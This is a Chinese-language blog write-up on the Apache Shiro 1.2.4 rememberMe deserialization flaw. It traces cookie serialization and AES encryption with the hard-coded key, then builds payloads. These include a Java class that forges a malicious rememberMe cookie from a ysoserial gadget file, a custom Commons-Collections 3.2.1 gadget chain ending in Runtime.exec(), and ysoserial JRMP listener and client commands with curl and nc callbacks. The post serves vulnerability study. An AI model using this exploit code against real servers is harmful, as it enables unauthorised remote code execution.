Hu3sky's blog

shiro-1.2.4-rememberMe反序列化分析与基于Commons-Collections3.2.1下的payload构造

Word count: 2,088 / Reading time: 9 min
2020/01/06 Share

前言

最近学了基于ysoserial工具的Commons-Collections3和4的几条反序列化攻击链,因为shiro-1.2.4的默认示例也是自带Commons-Collections3.2.1的包的,虽然是个老洞了,不过结合自己刚学的东西,来分析并研究一下这个洞,希望有所收获。

漏洞预警

https://issues.apache.org/jira/browse/SHIRO-550

漏洞详情

默认情况下,shiro使用CookieRememberMeManager,这将对用户身份进行序列化,加密和编码,以供以后检索,因此当其接收到一个用户的验证请求时,会做如下操作:

  • 检索RememberMe cookie 的值
  • Base 64解码
  • 使用AES解密
  • 使用Java序列化(ObjectInputStream)反序列化。

但是,默认加密密钥是硬编码的,这意味着有权访问源代码的任何人都知道默认加密密钥是什么。因此,攻击者可以创建一个恶意对象,对其进行序列化,编码,然后将其作为cookie发送

影响范围

<1.2.4

漏洞分析

环境搭建

jdk版本要求:jdk1.6,对应的mvn,对应的tomcat也要重新下载(tomcat7)
e21d782d12cb009fdf014590785e90d2

1
2
https://github.com/apache/shiro
git checkout shiro-root-1.2.4

修改pom.xml

1
2
3
4
5
6
7
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

修改sapmles/web下的pom.xml

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

1
2
cd samples/web
sudo mvn package

将war放置tomcat的webapp下,搭建好的环境如下
3e1e9d2e7299f631c706efd8578160ea

前置知识

shiro的权限操作是委托给securityManager的,而securityManager管理session又是委托给sessionManager的,而在开发web项目中,我们一般会使用
org.apache.shiro.web.mgt.DefaultWebSecurityManager
DefaultSecurityManager是shiro自带实现的最基础但已直接可用的SecurityManager,它包含了shiro所有主要的鉴权流程

对一个cookie的处理流程是

  1. 先将凭证序列化
  2. Aes加密
  3. 前端显示的时候进行一次base64加密

代码分析

根据官方提供的漏洞描述,漏洞的触发大致是

  • 检索RememberMe cookie 的值
  • Base 64解码
  • 使用AES解密
  • 使用Java序列化(ObjectInputStream)反序列化。

我们通过默认给出的账号进行登录,勾选remember me,就会获得一个cookie值
1e8737fca885fb0c5f1006d470915375

1
09wFAt1bkYIMrGEa63+y/JGKGMULMejMG+Y8XolYgOAb+Yp/TZV6CfNlnyC2Xwj0z325KTOh3/q0z/zWbcQ8yE9poCAzJAjf/lsnAB+4gHz3pOfu1sn2jztFw9wtGNa8FItnX8XCK6+u88g9VsNIZaT78IhkkJjir43nUosJbhcOZNHfeCXRikGjb50/SePK57tggDeyePrEl0Zx0Cc2XwYzFVEWxAktIXDElOZSA2elo6vNWqGn93/2BsOkpEI7hwT5272Y/Z9suoR6ipcMbo8p54uNyaF4LUak/XOj+eca1QQLXculVTSDe5IwocnVqDCmAv9HYutCpAJwNmNp1bdCIFHWcj8/8ERbcaOnddYfH2QYQlAZyUMWnDWkiJ5ogQb9hN6k7TiWiyq+YZPk86Vf22YePMorEfdFG+Sf9cg4YKN+Ik67CtjF0f2lXNFv85KQ+lmLVnIn9eCL06fbXrUZOLeaRspfug1NlK1nT1uveQx+YXXkpKbkt5BnGBPQ

先来看看他生成这段cookie的过程

序列化数据

我们从AuthenticatingFilter开始跟进,前面是路由反派到认证过滤器这里的过程
9625bcf91c299a9b8f3d9e1f25c3716c
这里的createToken返回登录表单的请求结果,并保存在token里
417317371c6423ad6d341469f421d0ca
8ad40653213dc7226b347f164b2cb91b

然后跟进subject.login,继续跟入securityManager.loginsecurityManagerDefaultWebSecurityManager
认证成功后,进入onSuccessfulLogin
b45430b564f04acbebb323c83e2f73e5
info里存储着用户的登录信息,token里有rememberMe的布尔值
9e4e4cd1f9886ab78796ddaff16891da
首先获取当前rememberMeManager,为CookieRememberMeManager,而CookieRememberMeManager继承于AbstractRememberMeManager,所以实际是调用了AbstractRememberMeManager
554c6e5be958a1a0a527cbc4d75fe58f
然后跟进AbstractRememberMeManager.onSuccessfulLogin
c3205b28d26321bec4e76a4eac4fccfe
判断是否有rememberme选项,有就进入rememberIdentity
4bdd501d58df93d80a57bd1af5310aa0
然后返回身份集合PrincipalCollection,作为参数传入rememberIdentity
然后调用convertPrincipalsToBytes,对身份集合进行处理,我们跟入看看
63092ffacc6049fa43eec752d3025869
convertPrincipalsToBytes里调用了serialize进行序列化处理,接着再调用encrypt方法
4952fffc2c2052c4f1f305d22fa4ebda
先获取加密的Server,默认是AES加密
ec598690e2843029dc9857c3302545b8
9a2dbcff1709ec680e760813477a75d6
能够在AbstractRememberMeManager看到密钥
37be837d5d8ad33cd0bc1b512f540e79
加密的时候将密钥的byte数组(16位)和序列化之后的数组一起传入JcaCipherService.encrypt进行加密,
利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面,完成后再进行AES加密
eb2ede14d15c90ab8d7121623f34861c

加密完后返回加密结果
c0de55345182f144885f5ce6b956e32e
进入rememberSerializedIdentity方法
c9baca4064837354350345415642e9f5

在里面完成了base64的加密
f35a20a628c0b14cc529f178c28d0cd3

到这里整个cookie的处理就算完成了

反序列化数据

createSubject开始跟进
bd57e47c033a4057f46c78ceea18e843
从context上下文中去解析
50b2a699563d6b14482b3aef559c40d6
由于context中的principals为null,于是调用DefaultSecurityManagergetRememberedIdentity方法去从rememberMe中获取
608aeeba83d89548c0794c6a31eb3d35
首先获取RememberMeManagerCookieRememberMeManager
691ca1e0917a4f9e59f83b93dc7bae8b
然后调用getRememberedPrincipals,由于CookieRememberMeManager没有该方法,于是到他的父类AbstractRememberMeManager里去调用
783c9f8be819daa06bdaeb3e014c7a01
获取rememberMe值并调用getRememberedSerializedIdentity进行base64解密
188249065edb311c8fac2668c3a75560
如果从当前cookie里获取到了rememberMe的cookie值,那么就调用convertBytesToPrincipals
获取到当前的Server为Aes,进入decrypt
8ea4c86b72409c42f138fb31272c9c96
之后的过程跟加密相反,先去掉随机的16字节,再进行Aes解密
解密完之后,就会调用deserialize进行反序列化
db733dfd37d334978aab140ce3d2ffeb

构造payload

CommonsCollections4:4.0

因为手动添加了Commons-Collections-4.0的依赖包,所以可以直接用他的一个通用利用链,详细参考yso的Commons-Collections-4.0的gadgets,就不细说了
构造起来,总的来说还算简单,不过有几个点比较坑,我是通过反射去直接获取org.apache.shiro.mgt.AbstractRememberMeManager这个抽象类的encrypt方法,不过中间花了点时间,因为之前没遇到过反射抽象类的情况,解决方法是自己写一个类,继承这个抽象类,然后重写他的抽象方法,于是我的payload构造完后为这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.hu3sky.test;

import org.apache.shiro.codec.Base64;
import org.apache.shiro.mgt.AbstractRememberMeManager;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.subject.SubjectContext;

import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.lang.reflect.Method;

public class Payload {
public static void main(String[] args) throws Exception {
BufferedInputStream in = new BufferedInputStream(new FileInputStream("/Users/hu3sky/Penetration tools/exp/ysoserial/commonscollections2.ser"));
ByteArrayOutputStream out = new ByteArrayOutputStream(1024);

System.out.println("Available bytes:" + in.available());

byte[] temp = new byte[1024];
int size = 0;
while ((size = in.read(temp)) != -1) {
out.write(temp, 0, size);
}
in.close();
//将序列化内容加载到数组中
byte[] content = out.toByteArray();

class A extends AbstractRememberMeManager{
@Override
protected void forgetIdentity(Subject subject) {
}
@Override
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
}
@Override
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
return new byte[0];
}
@Override
public void forgetIdentity(SubjectContext subjectContext) {
}
}
//将序列化数组做处理,aes加密,base64加密
//获取encrypt方法
Method method = AbstractRememberMeManager.class.getDeclaredMethod("encrypt", byte[].class);
method.setAccessible(true);
byte[] bytes = (byte[]) method.invoke(new A(),new Object[]{content});
String base64 = Base64.encodeToString(bytes);
System.out.println(base64);
}
}

将生产的cookie带到rememberMe,发包
5e4e0fc3411144cafc9039999c788370
这样就能直接弹出计算器
1cb246972dc3a37d63b7f10610892d20

CommonsCollections3:3.2.1

yso自带的利用链失效

刚才4.0版本是我们手动添加的,现在我们直接利用他自带的3.2.1版本
我们利用yso的第一条链
1f3b4d261aec1b87052007c6f5377b9b
运行到deserialize到时候报错了
a238b3af60fc7ebb72165c65de81392d

1
java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]:

那我们直接在本地利用呢
d2eadf4c7d4dc055924585606b49eb87
成功触发了,但是为什么shiro上面没法触发呢
查找了些资料后发现,shiro自己实现的类加载器是无法对任何数组进行反序列化的(yso针对3.1中基本用的都是数组,也就是ChainedTransformerInvokerTransformer不能用)

寻找3.2.1下不需要数组的gadgets

目前的yso利用方式就两种,一种是InvokerTrasnformer的反射,一种是利用TemplatesImpldefineClass加载字节码,不用到数组,那么只能用第二种方法,加载字节码

本来以为能用第二条链,结果发现在3.2.1版本下的TransformingComparator并没有实现Serializable接口,不能被反序列化,这就需要我们重新去找一个能触发,最终要调用到TemplatesImple.newTransformer,还要用transform方法来触发,现在我们去找哪些地方调用了transform
由于已经没有其他ComparableComparator再调用transform了,所以我们不能用PriorityQueue来触发了
花了一点时间,通过组合,我构造出了一条在3.2.1不需要数组的链,我将它称为CommonsCollections8
367194d8dbfb3a165f04c577078ac651
e11900da31b124872e7b5e7928095ee1

调用栈

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

JRMP

或者利用JRMP(JRMP不依赖于本地的包,所以该方法比较好用)

1
2
3
4
5
java -cp ./target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections8 "curl 127.0.0.1:4444"

java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "127.0.0.1:1234" > CommonsCollections8.ser

nc -lv 4444

d5d928d557791a5340ea9ca648d6102e

1.2.5fix

如果没有配置密钥,那么会自动生成一个密钥,不过密钥泄漏还是会引发同样的问题

Reference

CATALOG
  1. 1. 前言
  2. 2. 漏洞预警
  3. 3. 漏洞详情
  4. 4. 影响范围
  5. 5. 漏洞分析
    1. 5.1. 环境搭建
    2. 5.2. 前置知识
    3. 5.3. 代码分析
    4. 5.4. 序列化数据
    5. 5.5. 反序列化数据
  6. 6. 构造payload
    1. 6.1. CommonsCollections4:4.0
    2. 6.2. CommonsCollections3:3.2.1
      1. 6.2.1. yso自带的利用链失效
      2. 6.2.2. 寻找3.2.1下不需要数组的gadgets
      3. 6.2.3. JRMP
  7. 7. 1.2.5fix
  8. 8. Reference